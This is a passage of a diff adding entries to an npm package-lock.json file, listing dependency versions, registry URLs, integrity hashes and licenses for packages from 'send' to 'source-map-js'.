24490+ "setprototypeof": "1.2.0",
24491+ "statuses": "2.0.1",
24492+ "toidentifier": "1.0.1"
24493+ },
24494+ "engines": {
24495+ "node": ">= 0.8"
24496+ }
24497+ },
24498+ "node_modules/send/node_modules/ms": {
24499+ "version": "2.1.3",
24500+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
24501+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
24502+ "license": "MIT"
24503+ },
24504+ "node_modules/send/node_modules/statuses": {
24505+ "version": "2.0.1",
24506+ "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz",
24507+ "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==",
24508+ "license": "MIT",
24509+ "engines": {
24510+ "node": ">= 0.8"
24511+ }
24512+ },
24513+ "node_modules/serialize-javascript": {
24514+ "version": "6.0.2",
24515+ "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.2.tgz",
24516+ "integrity": "sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g==",
24517+ "license": "BSD-3-Clause",
24518+ "dependencies": {
24519+ "randombytes": "^2.1.0"
24520+ }
24521+ },
24522+ "node_modules/serve-index": {
24523+ "version": "1.9.1",
24524+ "resolved": "https://registry.npmjs.org/serve-index/-/serve-index-1.9.1.tgz",
24525+ "integrity": "sha512-pXHfKNP4qujrtteMrSBb0rc8HJ9Ms/GrXwcUtUtD5s4ewDJI8bT3Cz2zTVRMKtri49pLx2e0Ya8ziP5Ya2pZZw==",
24526+ "license": "MIT",
24527+ "dependencies": {
24528+ "accepts": "~1.3.4",
24529+ "batch": "0.6.1",
24530+ "debug": "2.6.9",
24531+ "escape-html": "~1.0.3",
24532+ "http-errors": "~1.6.2",
24533+ "mime-types": "~2.1.17",
24534+ "parseurl": "~1.3.2"
24535+ },
24536+ "engines": {
24537+ "node": ">= 0.8.0"
24538+ }
24539+ },
24540+ "node_modules/serve-index/node_modules/depd": {
24541+ "version": "1.1.2",
24542+ "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz",
24543+ "integrity": "sha512-7emPTl6Dpo6JRXOXjLRxck+FlLRX5847cLKEn00PLAgc3g2hTZZgr+e4c2v6QpSmLeFP3n5yUo7ft6avBK/5jQ==",
24544+ "license": "MIT",
24545+ "engines": {
24546+ "node": ">= 0.6"
24547+ }
24548+ },
24549+ "node_modules/serve-index/node_modules/http-errors": {
24550+ "version": "1.6.3",
24551+ "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.3.tgz",
24552+ "integrity": "sha512-lks+lVC8dgGyh97jxvxeYTWQFvh4uw4yC12gVl63Cg30sjPX4wuGcdkICVXDAESr6OJGjqGA8Iz5mkeN6zlD7A==",
24553+ "license": "MIT",
24554+ "dependencies": {
24555+ "depd": "~1.1.2",
24556+ "inherits": "2.0.3",
24557+ "setprototypeof": "1.1.0",
24558+ "statuses": ">= 1.4.0 < 2"
24559+ },
24560+ "engines": {
24561+ "node": ">= 0.6"
24562+ }
24563+ },
24564+ "node_modules/serve-index/node_modules/inherits": {
24565+ "version": "2.0.3",
24566+ "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz",
24567+ "integrity": "sha512-x00IRNXNy63jwGkJmzPigoySHbaqpNuzKbBOmzK+g2OdZpQ9w+sxCN+VSB3ja7IAge2OP2qpfxTjeNcyjmW1uw==",
24568+ "license": "ISC"
24569+ },
24570+ "node_modules/serve-index/node_modules/setprototypeof": {
24571+ "version": "1.1.0",
24572+ "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.0.tgz",
24573+ "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ==",
24574+ "license": "ISC"
24575+ },
24576+ "node_modules/serve-index/node_modules/statuses": {
24577+ "version": "1.5.0",
24578+ "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz",
24579+ "integrity": "sha512-OpZ3zP+jT1PI7I8nemJX4AKmAX070ZkYPVWV/AaKTJl+tXCTGyVdC1a4SL8RUQYEwk/f34ZX8UTykN68FwrqAA==",
24580+ "license": "MIT",
24581+ "engines": {
24582+ "node": ">= 0.6"
24583+ }
24584+ },
24585+ "node_modules/serve-static": {
24586+ "version": "1.16.2",
24587+ "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.16.2.tgz",
24588+ "integrity": "sha512-VqpjJZKadQB/PEbEwvFdO43Ax5dFBZ2UECszz8bQ7pi7wt//PWe1P6MN7eCnjsatYtBT6EuiClbjSWP2WrIoTw==",
24589+ "license": "MIT",
24590+ "dependencies": {
24591+ "encodeurl": "~2.0.0",
24592+ "escape-html": "~1.0.3",
24593+ "parseurl": "~1.3.3",
24594+ "send": "0.19.0"
24595+ },
24596+ "engines": {
24597+ "node": ">= 0.8.0"
24598+ }
24599+ },
24600+ "node_modules/serve-static/node_modules/http-errors": {
24601+ "version": "2.0.0",
24602+ "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz",
24603+ "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==",
24604+ "license": "MIT",
24605+ "dependencies": {
24606+ "depd": "2.0.0",
24607+ "inherits": "2.0.4",
24608+ "setprototypeof": "1.2.0",
24609+ "statuses": "2.0.1",
24610+ "toidentifier": "1.0.1"
24611+ },
24612+ "engines": {
24613+ "node": ">= 0.8"
24614+ }
24615+ },
24616+ "node_modules/serve-static/node_modules/ms": {
24617+ "version": "2.1.3",
24618+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
24619+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
24620+ "license": "MIT"
24621+ },
24622+ "node_modules/serve-static/node_modules/send": {
24623+ "version": "0.19.0",
24624+ "resolved": "https://registry.npmjs.org/send/-/send-0.19.0.tgz",
24625+ "integrity": "sha512-dW41u5VfLXu8SJh5bwRmyYUbAoSB3c9uQh6L8h/KtsFREPWpbX1lrljJo186Jc4nmci/sGUZ9a0a0J2zgfq2hw==",
24626+ "license": "MIT",
24627+ "dependencies": {
24628+ "debug": "2.6.9",
24629+ "depd": "2.0.0",
24630+ "destroy": "1.2.0",
24631+ "encodeurl": "~1.0.2",
24632+ "escape-html": "~1.0.3",
24633+ "etag": "~1.8.1",
24634+ "fresh": "0.5.2",
24635+ "http-errors": "2.0.0",
24636+ "mime": "1.6.0",
24637+ "ms": "2.1.3",
24638+ "on-finished": "2.4.1",
24639+ "range-parser": "~1.2.1",
24640+ "statuses": "2.0.1"
24641+ },
24642+ "engines": {
24643+ "node": ">= 0.8.0"
24644+ }
24645+ },
24646+ "node_modules/serve-static/node_modules/send/node_modules/encodeurl": {
24647+ "version": "1.0.2",
24648+ "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz",
24649+ "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==",
24650+ "license": "MIT",
24651+ "engines": {
24652+ "node": ">= 0.8"
24653+ }
24654+ },
24655+ "node_modules/serve-static/node_modules/statuses": {
24656+ "version": "2.0.1",
24657+ "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz",
24658+ "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==",
24659+ "license": "MIT",
24660+ "engines": {
24661+ "node": ">= 0.8"
24662+ }
24663+ },
24664+ "node_modules/set-blocking": {
24665+ "version": "2.0.0",
24666+ "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz",
24667+ "integrity": "sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==",
24668+ "license": "ISC"
24669+ },
24670+ "node_modules/set-function-length": {
24671+ "version": "1.2.2",
24672+ "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz",
24673+ "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==",
24674+ "license": "MIT",
24675+ "dependencies": {
24676+ "define-data-property": "^1.1.4",
24677+ "es-errors": "^1.3.0",
24678+ "function-bind": "^1.1.2",
24679+ "get-intrinsic": "^1.2.4",
24680+ "gopd": "^1.0.1",
24681+ "has-property-descriptors": "^1.0.2"
24682+ },
24683+ "engines": {
24684+ "node": ">= 0.4"
24685+ }
24686+ },
24687+ "node_modules/set-function-name": {
24688+ "version": "2.0.2",
24689+ "resolved": "https://registry.npmjs.org/set-function-name/-/set-function-name-2.0.2.tgz",
24690+ "integrity": "sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==",
24691+ "license": "MIT",
24692+ "dependencies": {
24693+ "define-data-property": "^1.1.4",
24694+ "es-errors": "^1.3.0",
24695+ "functions-have-names": "^1.2.3",
24696+ "has-property-descriptors": "^1.0.2"
24697+ },
24698+ "engines": {
24699+ "node": ">= 0.4"
24700+ }
24701+ },
24702+ "node_modules/set-immediate-shim": {
24703+ "version": "1.0.1",
24704+ "resolved": "https://registry.npmjs.org/set-immediate-shim/-/set-immediate-shim-1.0.1.tgz",
24705+ "integrity": "sha512-Li5AOqrZWCVA2n5kryzEmqai6bKSIvpz5oUJHPVj6+dsbD3X1ixtsY5tEnsaNpH3pFAHmG8eIHUrtEtohrg+UQ==",
24706+ "license": "MIT",
24707+ "engines": {
24708+ "node": ">=0.10.0"
24709+ }
24710+ },
24711+ "node_modules/set-proto": {
24712+ "version": "1.0.0",
24713+ "resolved": "https://registry.npmjs.org/set-proto/-/set-proto-1.0.0.tgz",
24714+ "integrity": "sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw==",
24715+ "license": "MIT",
24716+ "dependencies": {
24717+ "dunder-proto": "^1.0.1",
24718+ "es-errors": "^1.3.0",
24719+ "es-object-atoms": "^1.0.0"
24720+ },
24721+ "engines": {
24722+ "node": ">= 0.4"
24723+ }
24724+ },
24725+ "node_modules/set-value": {
24726+ "version": "2.0.1",
24727+ "resolved": "https://registry.npmjs.org/set-value/-/set-value-2.0.1.tgz",
24728+ "integrity": "sha512-JxHc1weCN68wRY0fhCoXpyK55m/XPHafOmK4UWD7m2CI14GMcFypt4w/0+NV5f/ZMby2F6S2wwA7fgynh9gWSw==",
24729+ "license": "MIT",
24730+ "dependencies": {
24731+ "extend-shallow": "^2.0.1",
24732+ "is-extendable": "^0.1.1",
24733+ "is-plain-object": "^2.0.3",
24734+ "split-string": "^3.0.1"
24735+ },
24736+ "engines": {
24737+ "node": ">=0.10.0"
24738+ }
24739+ },
24740+ "node_modules/set-value/node_modules/is-extendable": {
24741+ "version": "0.1.1",
24742+ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz",
24743+ "integrity": "sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==",
24744+ "license": "MIT",
24745+ "engines": {
24746+ "node": ">=0.10.0"
24747+ }
24748+ },
24749+ "node_modules/setimmediate": {
24750+ "version": "1.0.5",
24751+ "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz",
24752+ "integrity": "sha512-MATJdZp8sLqDl/68LfQmbP8zKPLQNV6BIZoIgrscFDQ+RsvK/BxeDQOgyxKKoh0y/8h3BqVFnCqQ/gd+reiIXA==",
24753+ "license": "MIT"
24754+ },
24755+ "node_modules/setprototypeof": {
24756+ "version": "1.2.0",
24757+ "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz",
24758+ "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==",
24759+ "license": "ISC"
24760+ },
24761+ "node_modules/sha.js": {
24762+ "version": "2.4.12",
24763+ "resolved": "https://registry.npmjs.org/sha.js/-/sha.js-2.4.12.tgz",
24764+ "integrity": "sha512-8LzC5+bvI45BjpfXU8V5fdU2mfeKiQe1D1gIMn7XUlF3OTUrpdJpPPH4EMAnF0DsHHdSZqCdSss5qCmJKuiO3w==",
24765+ "license": "(MIT AND BSD-3-Clause)",
24766+ "dependencies": {
24767+ "inherits": "^2.0.4",
24768+ "safe-buffer": "^5.2.1",
24769+ "to-buffer": "^1.2.0"
24770+ },
24771+ "bin": {
24772+ "sha.js": "bin.js"
24773+ },
24774+ "engines": {
24775+ "node": ">= 0.10"
24776+ },
24777+ "funding": {
24778+ "url": "https://github.com/sponsors/ljharb"
24779+ }
24780+ },
24781+ "node_modules/shebang-command": {
24782+ "version": "2.0.0",
24783+ "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
24784+ "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
24785+ "license": "MIT",
24786+ "dependencies": {
24787+ "shebang-regex": "^3.0.0"
24788+ },
24789+ "engines": {
24790+ "node": ">=8"
24791+ }
24792+ },
24793+ "node_modules/shebang-regex": {
24794+ "version": "3.0.0",
24795+ "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
24796+ "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",
24797+ "license": "MIT",
24798+ "engines": {
24799+ "node": ">=8"
24800+ }
24801+ },
24802+ "node_modules/shell-quote": {
24803+ "version": "1.8.3",
24804+ "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.3.tgz",
24805+ "integrity": "sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw==",
24806+ "license": "MIT",
24807+ "engines": {
24808+ "node": ">= 0.4"
24809+ },
24810+ "funding": {
24811+ "url": "https://github.com/sponsors/ljharb"
24812+ }
24813+ },
24814+ "node_modules/side-channel": {
24815+ "version": "1.1.0",
24816+ "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz",
24817+ "integrity": "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==",
24818+ "license": "MIT",
24819+ "dependencies": {
24820+ "es-errors": "^1.3.0",
24821+ "object-inspect": "^1.13.3",
24822+ "side-channel-list": "^1.0.0",
24823+ "side-channel-map": "^1.0.1",
24824+ "side-channel-weakmap": "^1.0.2"
24825+ },
24826+ "engines": {
24827+ "node": ">= 0.4"
24828+ },
24829+ "funding": {
24830+ "url": "https://github.com/sponsors/ljharb"
24831+ }
24832+ },
24833+ "node_modules/side-channel-list": {
24834+ "version": "1.0.0",
24835+ "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.0.tgz",
24836+ "integrity": "sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==",
24837+ "license": "MIT",
24838+ "dependencies": {
24839+ "es-errors": "^1.3.0",
24840+ "object-inspect": "^1.13.3"
24841+ },
24842+ "engines": {
24843+ "node": ">= 0.4"
24844+ },
24845+ "funding": {
24846+ "url": "https://github.com/sponsors/ljharb"
24847+ }
24848+ },
24849+ "node_modules/side-channel-map": {
24850+ "version": "1.0.1",
24851+ "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz",
24852+ "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==",
24853+ "license": "MIT",
24854+ "dependencies": {
24855+ "call-bound": "^1.0.2",
24856+ "es-errors": "^1.3.0",
24857+ "get-intrinsic": "^1.2.5",
24858+ "object-inspect": "^1.13.3"
24859+ },
24860+ "engines": {
24861+ "node": ">= 0.4"
24862+ },
24863+ "funding": {
24864+ "url": "https://github.com/sponsors/ljharb"
24865+ }
24866+ },
24867+ "node_modules/side-channel-weakmap": {
24868+ "version": "1.0.2",
24869+ "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz",
24870+ "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==",
24871+ "license": "MIT",
24872+ "dependencies": {
24873+ "call-bound": "^1.0.2",
24874+ "es-errors": "^1.3.0",
24875+ "get-intrinsic": "^1.2.5",
24876+ "object-inspect": "^1.13.3",
24877+ "side-channel-map": "^1.0.1"
24878+ },
24879+ "engines": {
24880+ "node": ">= 0.4"
24881+ },
24882+ "funding": {
24883+ "url": "https://github.com/sponsors/ljharb"
24884+ }
24885+ },
24886+ "node_modules/sift": {
24887+ "version": "17.1.3",
24888+ "resolved": "https://registry.npmjs.org/sift/-/sift-17.1.3.tgz",
24889+ "integrity": "sha512-Rtlj66/b0ICeFzYTuNvX/EF1igRbbnGSvEyT79McoZa/DeGhMyC5pWKOEsZKnpkqtSeovd5FL/bjHWC3CIIvCQ==",
24890+ "license": "MIT"
24891+ },
24892+ "node_modules/signal-exit": {
24893+ "version": "3.0.7",
24894+ "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz",
24895+ "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==",
24896+ "license": "ISC"
24897+ },
24898+ "node_modules/sisteransi": {
24899+ "version": "1.0.5",
24900+ "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz",
24901+ "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==",
24902+ "license": "MIT"
24903+ },
24904+ "node_modules/slash": {
24905+ "version": "3.0.0",
24906+ "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
24907+ "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==",
24908+ "license": "MIT",
24909+ "engines": {
24910+ "node": ">=8"
24911+ }
24912+ },
24913+ "node_modules/socket.io": {
24914+ "version": "4.8.1",
24915+ "resolved": "https://registry.npmjs.org/socket.io/-/socket.io-4.8.1.tgz",
24916+ "integrity": "sha512-oZ7iUCxph8WYRHHcjBEc9unw3adt5CmSNlppj/5Q4k2RIrhl8Z5yY2Xr4j9zj0+wzVZ0bxmYoGSzKJnRl6A4yg==",
24917+ "license": "MIT",
24918+ "dependencies": {
24919+ "accepts": "~1.3.4",
24920+ "base64id": "~2.0.0",
24921+ "cors": "~2.8.5",
24922+ "debug": "~4.3.2",
24923+ "engine.io": "~6.6.0",
24924+ "socket.io-adapter": "~2.5.2",
24925+ "socket.io-parser": "~4.2.4"
24926+ },
24927+ "engines": {
24928+ "node": ">=10.2.0"
24929+ }
24930+ },
24931+ "node_modules/socket.io-adapter": {
24932+ "version": "2.5.5",
24933+ "resolved": "https://registry.npmjs.org/socket.io-adapter/-/socket.io-adapter-2.5.5.tgz",
24934+ "integrity": "sha512-eLDQas5dzPgOWCk9GuuJC2lBqItuhKI4uxGgo9aIV7MYbk2h9Q6uULEh8WBzThoI7l+qU9Ast9fVUmkqPP9wYg==",
24935+ "license": "MIT",
24936+ "dependencies": {
24937+ "debug": "~4.3.4",
24938+ "ws": "~8.17.1"
24939+ }
24940+ },
24941+ "node_modules/socket.io-adapter/node_modules/debug": {
24942+ "version": "4.3.7",
24943+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.7.tgz",
24944+ "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==",
24945+ "license": "MIT",
24946+ "dependencies": {
24947+ "ms": "^2.1.3"
24948+ },
24949+ "engines": {
24950+ "node": ">=6.0"
24951+ },
24952+ "peerDependenciesMeta": {
24953+ "supports-color": {
24954+ "optional": true
24955+ }
24956+ }
24957+ },
24958+ "node_modules/socket.io-adapter/node_modules/ms": {
24959+ "version": "2.1.3",
24960+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
24961+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
24962+ "license": "MIT"
24963+ },
24964+ "node_modules/socket.io-adapter/node_modules/ws": {
24965+ "version": "8.17.1",
24966+ "resolved": "https://registry.npmjs.org/ws/-/ws-8.17.1.tgz",
24967+ "integrity": "sha512-6XQFvXTkbfUOZOKKILFG1PDK2NDQs4azKQl26T0YS5CxqWLgXajbPZ+h4gZekJyRqFU8pvnbAbbs/3TgRPy+GQ==",
24968+ "license": "MIT",
24969+ "engines": {
24970+ "node": ">=10.0.0"
24971+ },
24972+ "peerDependencies": {
24973+ "bufferutil": "^4.0.1",
24974+ "utf-8-validate": ">=5.0.2"
24975+ },
24976+ "peerDependenciesMeta": {
24977+ "bufferutil": {
24978+ "optional": true
24979+ },
24980+ "utf-8-validate": {
24981+ "optional": true
24982+ }
24983+ }
24984+ },
24985+ "node_modules/socket.io-client": {
24986+ "version": "4.8.1",
24987+ "resolved": "https://registry.npmjs.org/socket.io-client/-/socket.io-client-4.8.1.tgz",
24988+ "integrity": "sha512-hJVXfu3E28NmzGk8o1sHhN3om52tRvwYeidbj7xKy2eIIse5IoKX3USlS6Tqt3BHAtflLIkCQBkzVrEEfWUyYQ==",
24989+ "license": "MIT",
24990+ "dependencies": {
24991+ "@socket.io/component-emitter": "~3.1.0",
24992+ "debug": "~4.3.2",
24993+ "engine.io-client": "~6.6.1",
24994+ "socket.io-parser": "~4.2.4"
24995+ },
24996+ "engines": {
24997+ "node": ">=10.0.0"
24998+ }
24999+ },
25000+ "node_modules/socket.io-client/node_modules/debug": {
25001+ "version": "4.3.7",
25002+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.7.tgz",
25003+ "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==",
25004+ "license": "MIT",
25005+ "dependencies": {
25006+ "ms": "^2.1.3"
25007+ },
25008+ "engines": {
25009+ "node": ">=6.0"
25010+ },
25011+ "peerDependenciesMeta": {
25012+ "supports-color": {
25013+ "optional": true
25014+ }
25015+ }
25016+ },
25017+ "node_modules/socket.io-client/node_modules/ms": {
25018+ "version": "2.1.3",
25019+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
25020+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
25021+ "license": "MIT"
25022+ },
25023+ "node_modules/socket.io-parser": {
25024+ "version": "4.2.4",
25025+ "resolved": "https://registry.npmjs.org/socket.io-parser/-/socket.io-parser-4.2.4.tgz",
25026+ "integrity": "sha512-/GbIKmo8ioc+NIWIhwdecY0ge+qVBSMdgxGygevmdHj24bsfgtCmcUUcQ5ZzcylGFHsN3k4HB4Cgkl96KVnuew==",
25027+ "license": "MIT",
25028+ "dependencies": {
25029+ "@socket.io/component-emitter": "~3.1.0",
25030+ "debug": "~4.3.1"
25031+ },
25032+ "engines": {
25033+ "node": ">=10.0.0"
25034+ }
25035+ },
25036+ "node_modules/socket.io-parser/node_modules/debug": {
25037+ "version": "4.3.7",
25038+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.7.tgz",
25039+ "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==",
25040+ "license": "MIT",
25041+ "dependencies": {
25042+ "ms": "^2.1.3"
25043+ },
25044+ "engines": {
25045+ "node": ">=6.0"
25046+ },
25047+ "peerDependenciesMeta": {
25048+ "supports-color": {
25049+ "optional": true
25050+ }
25051+ }
25052+ },
25053+ "node_modules/socket.io-parser/node_modules/ms": {
25054+ "version": "2.1.3",
25055+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
25056+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
25057+ "license": "MIT"
25058+ },
25059+ "node_modules/socket.io/node_modules/debug": {
25060+ "version": "4.3.7",
25061+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.7.tgz",
25062+ "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==",
25063+ "license": "MIT",
25064+ "dependencies": {
25065+ "ms": "^2.1.3"
25066+ },
25067+ "engines": {
25068+ "node": ">=6.0"
25069+ },
25070+ "peerDependenciesMeta": {
25071+ "supports-color": {
25072+ "optional": true
25073+ }
25074+ }
25075+ },
25076+ "node_modules/socket.io/node_modules/ms": {
25077+ "version": "2.1.3",
25078+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
25079+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
25080+ "license": "MIT"
25081+ },
25082+ "node_modules/sockjs": {
25083+ "version": "0.3.24",
25084+ "resolved": "https://registry.npmjs.org/sockjs/-/sockjs-0.3.24.tgz",
25085+ "integrity": "sha512-GJgLTZ7vYb/JtPSSZ10hsOYIvEYsjbNU+zPdIHcUaWVNUEPivzxku31865sSSud0Da0W4lEeOPlmw93zLQchuQ==",
25086+ "license": "MIT",
25087+ "dependencies": {
25088+ "faye-websocket": "^0.11.3",
25089+ "uuid": "^8.3.2",
25090+ "websocket-driver": "^0.7.4"
25091+ }
25092+ },
25093+ "node_modules/sockjs/node_modules/uuid": {
25094+ "version": "8.3.2",
25095+ "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz",
25096+ "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==",
25097+ "license": "MIT",
25098+ "bin": {
25099+ "uuid": "dist/bin/uuid"
25100+ }
25101+ },
25102+ "node_modules/source-list-map": {
25103+ "version": "2.0.1",
25104+ "resolved": "https://registry.npmjs.org/source-list-map/-/source-list-map-2.0.1.tgz",
25105+ "integrity": "sha512-qnQ7gVMxGNxsiL4lEuJwe/To8UnK7fAnmbGEEH8RpLouuKbeEm0lhbQVFIrNSuB+G7tVrAlVsZgETT5nljf+Iw==",
25106+ "license": "MIT"
25107+ },
25108+ "node_modules/source-map": {
25109+ "version": "0.7.6",
25110+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.6.tgz",
25111+ "integrity": "sha512-i5uvt8C3ikiWeNZSVZNWcfZPItFQOsYTUAOkcUPGd8DqDy1uOUikjt5dG+uRlwyvR108Fb9DOd4GvXfT0N2/uQ==",
25112+ "license": "BSD-3-Clause",
25113+ "engines": {
25114+ "node": ">= 12"
25115+ }
25116+ },
25117+ "node_modules/source-map-js": {
25118+ "version": "1.2.1",
25119+ "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz",
25120+ "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==",
25121+ "license": "BSD-3-Clause",
25122+ "engines": {
25123+ "node": ">=0.10.0"
25124+ }
25125+ },
